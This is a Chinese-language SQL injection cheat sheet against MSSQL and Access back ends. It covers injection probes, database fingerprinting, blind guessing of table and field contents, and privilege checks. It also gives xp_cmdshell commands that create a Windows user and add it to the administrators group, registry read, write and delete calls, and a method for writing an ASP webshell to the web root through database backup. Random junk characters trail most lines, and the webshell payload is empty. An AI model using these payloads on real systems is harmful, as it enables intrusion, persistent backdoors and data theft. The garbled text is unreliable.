1.判断是否有注入;and 1=1 ;and 1=2 _sU| <1
2.初步判断是否是mssql ;and user>0 OLAwRha
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3.注入参数是字符'and [查询条件] and ''=' a}N m;5K
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 79:Wo>C3-
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5.判断数据库系统 YmP`Gg#>p
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;and (select count(*) from sysobjects)>0 mssql dQfVdqg
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;and (select count(*) from msysobjects)>0 access hdB.u^!
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 oXA3i
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 v?b9TE
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 kz]vXJ
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9.(1)猜字段的ascii值(access) pDr%uL
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ]d#Lfgo
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(2)猜字段的ascii值(mssql) (eS/Q%ZGK
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 w*.q t<rH)
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10.测试权限结构(mssql) ]"SH
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2mS3gk
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <b74L
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- =j[zMO
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- fm2,Mx6
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- [uxhdR`T
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- G)28#aH
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;and 1=(select IS_MEMBER('db_owner'));-- 8zew8I~s
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11.添加mssql和系统的帐户 +RexQE
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;exec master.dbo.sp_addlogin username;--
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;exec master.dbo.sp_password null,username,password;-- #W#GI"K
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- *ayn<Vlh`^
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;exec master.dbo.xp_cmdshell 'net user username password %1ofu,%
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- r(` ;CY]@
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- '| Enc"U
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- &0*l=!:G^
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12.(1)遍历目录 WN9<
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;create table dirs(paths varchar(100), id int) Y%9S4be
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;insert dirs exec master.dbo.xp_dirtree 'c:\' z)Xf6&
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;and (select top 1 paths from dirs)>0 sGIY\%
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) zHi+I7
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(2)遍历目录 CC1\0$ /
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- wH1E7LY|R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 `<ITLT
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Ws?BAfP
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 {GDMix
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ?(GMe>
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13.mssql中的存储过程 [^r0red
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xp_regenumvalues 注册表根键, 子键 sZFIQ)b9
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 b_Ns
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xp_regread 根键,子键,键值名 fLK*rK^{"
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;exec xp_regread \a+F/I$hwa
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 j"o`K}C
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xp_regwrite 根键,子键, 值名, 值类型, 值 |M|'S~z
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Ggy_
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 cSCO7L2E18
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xp_regdeletevalue 根键,子键,值名 FRI<A8
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \UFno$;mA
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 )t={+^Xe
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14.mssql的backup创建webshell TF 6_4t6
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use model N'R^S98x
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create table cmd(str image); y [e$
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insert into cmd(str) values (''); *v3/8enf
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backup database model to disk='c:\l.asp'; kRNr`yfN
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15.mssql内置函数 B1m@
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;and (select @@version)>0 获得Windows的版本号 3:jKuOX
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa /3:R{9S%
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;and (select user_name())>0 爆当前系统的连接用户 r/=v;4.W
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;and (select db_name())>0 得到当前连接的数据库 <uNBsYMuC
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16.简洁的webshell ;[WW,,!Y
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use model tu6oa[s
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create table cmd(str image); 9Q-/Yh
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insert into cmd(str) values (''); J]i=SX+ 9
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backup database model to disk='g:\wwwtest\l.asp';